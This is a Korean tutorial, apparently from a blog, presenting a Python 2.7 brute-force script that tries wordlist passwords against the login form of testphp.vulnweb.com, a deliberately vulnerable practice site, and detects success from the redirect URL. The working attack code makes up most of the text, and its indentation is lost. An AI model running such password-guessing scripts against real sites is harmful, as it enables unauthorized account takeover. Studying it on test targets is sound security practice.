** 본 코드는 파이썬 2.7 버전에서 유효하다. 3.x 부터는 다르게 적용해야 함
■ 코드 개요
사이트의를 해킹하기 위해 ADMIN이라는 계정을 해킹하려고 한다. ADMIN 계정은 존재한다는 것을 확인했고, 그 이후엔 패스워드를 알아내야 하는데.. 가장 간단한(?)방법은 무차별 대응 공격이다.
# -*- coding=utf_8 -*-
import urllib
import urllib2
url = "http://testphp.vulnweb.com/userinfo.php"
user_login = "test" # 사용자 아이디(python), 알고 있다는 전제
wordlist = open('wordlist.txt','r')
passwords = wordlist.readlines()
for password in passwords:
password = password.strip() # 문자열 양 끝의 공백을 모두 지운다
values = {'uname': user_login, 'pass': password} # 파라미터명과 값은 실제 넘어가는 값과 동일해야한다.
data = urllib.urlencode(values) # post 데이터 형태로 변환
print data # 중간 데이터를 확인하기 위함이므로 있어도 그만 없어도 그만
request = urllib2.Request(url, data)
response = urllib2.urlopen(request)
print response.geturl() # 중간 데이터를 확인하기 위함이므로 있어도 그만 없어도 그만
try:
idx = response.geturl().index('userinfo.php') # 정상적으로 로그인되었으면 관리자 페이지로(userinfo.php) 넘어간다. 따라서 반환 url에 관리자 화면의 url 주소(userinfo.php)이 포함되어 있는지 화인한다.
except:
idx = 0
if (idx > 0):
print "##################success############### ["+password+"]"
break
else:
print "##################fail#################["+password+"]"
wordlist.close()
■ 코드 설명
acunetix 웹 취약점 스캐너를 테스트하는 사이트가 있다. (http://testphp.vulnweb.com/index.php) 보통 취약점 점검 모의해킹 사이트로 이용한다.
본 코드는 이 사이트의 아이디를 알고 있고 패스워드를 알아내기 위해서 코딩하였다.
Step 1)
사이트에서 로그인 정보를 입력하고 '로그인' 버튼을 누르면 위와 같이 request 데이터가 생성된다.
Step 2) 이를 통해 post로 로그인정보가 넘어간다는 것과 파라미터명을 확인 할 수 있다.
Step 3) 실제로 몇번 로그인 해보면 알겠지만, 로그인 정보가 틀리면 /login.php 로 리다이렉션 된다는 것을알 수 있다.
Step 4) 스크립트 실행 결과, 패스워드(test) 를 올바르게 찾는다는 걸 확인 할 수 있다.
Continue reading